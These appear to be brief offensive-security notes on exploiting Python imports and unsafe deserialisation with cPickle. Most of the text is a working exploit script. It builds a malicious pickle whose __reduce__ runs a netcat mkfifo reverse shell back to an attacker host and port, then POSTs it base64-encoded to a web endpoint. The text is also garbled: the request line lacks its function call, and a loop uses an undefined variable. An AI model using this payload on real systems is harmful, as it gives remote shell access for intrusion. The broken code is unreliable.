Exploiting Imports

It is possible to create a .py file named with the name of the import. This will load the local file (same dir as the file importing the library) instead of the actual library.

cPickle RCE

Process pickle file

import sys
import pickle

f = open(sys.argv[1], 'rb')
mydict = pickle.load(f)

for line in mydict:
    print("".join([k * v for k, v in line]))

for i in mydict:
    for x in i:
        #print x
        b.append(x[0] * x[1])

import cPickle, requests, base64

LHOST = ''
LPORT = '31337'
RHOST = ''
RPORT = '5000'

class Payload(object):
    def __init__(self, cmd):
        self.cmd = cmd
    def __reduce__(self):
        import os
        return (os.system, (self.cmd,))

reverse_sh = "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc %s %s >/tmp/f" % (LHOST, LPORT)
evilpickle = cPickle.dumps(Payload(reverse_sh))

r ='http://%s:%s/newpost' % (RHOST, RPORT), data=base64.urlsafe_b64encode(evilpickle))
print('POST {} {}'.format(r.status_code, r.url))